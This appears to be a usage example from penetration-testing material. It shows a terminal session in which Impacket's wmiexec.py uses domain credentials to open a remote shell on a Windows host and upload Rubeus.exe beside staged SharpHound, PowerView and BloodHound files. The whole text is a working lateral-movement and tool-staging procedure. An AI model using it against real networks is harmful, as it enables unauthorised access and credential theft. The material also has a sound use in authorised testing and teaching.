Usage:

root@kali:~/tools/impacket/examples# wmiexec.py MAEMO/EloyQ:[email protected]
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\\>whoami
maemo\\eloyq

C:\\>upload
'upload' is not recognized as an internal or external command,
operable program or batch file.

C:\\>help

 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)
 get {file}                 - downloads pathname to the current local dir 
 ! {cmd}                    - executes a local shell cmd

C:\\>cd c:\\temp
c:\\temp>put /root/tools/rubeus.exe
[-] [Errno 2] No such file or directory: '/root/tools/rubeus.exe'
c:\\temp>put /root/tools/Rubeus.exe
[*] Uploading Rubeus.exe to c:\\temp\\Rubeus.exe
c:\\temp>dir
 Volume in drive C has no label.
 Volume Serial Number is 14CB-A4C1

 Directory of c:\\temp

05/21/2020  07:42 AM    <DIR>          .
05/21/2020  07:42 AM    <DIR>          ..
05/20/2020  01:35 PM           242,399 20200520133346_BloodHound.zip
05/21/2020  07:42 AM           242,371 20200521074125_BloodHound.zip
07/10/2015  06:41 AM           844,648 Bginfo.exe
05/20/2020  02:03 PM           770,279 PowerView.ps1
05/21/2020  09:09 AM           211,456 Rubeus.exe
05/20/2020  01:31 PM           832,000 SharpHound.exe
05/20/2020  02:22 PM    <DIR>          shel
05/20/2020  01:35 PM           955,779 YzBhMGJkN2EtZDZhZC00NzYzLTgzNWMtMjQ5MmFjM2MwNTEx.bin
               7 File(s)      4,098,932 bytes
               3 Dir(s)  29,859,598,336 bytes free

c:\\temp>whoami
maemo\\eloyq

c:\\temp>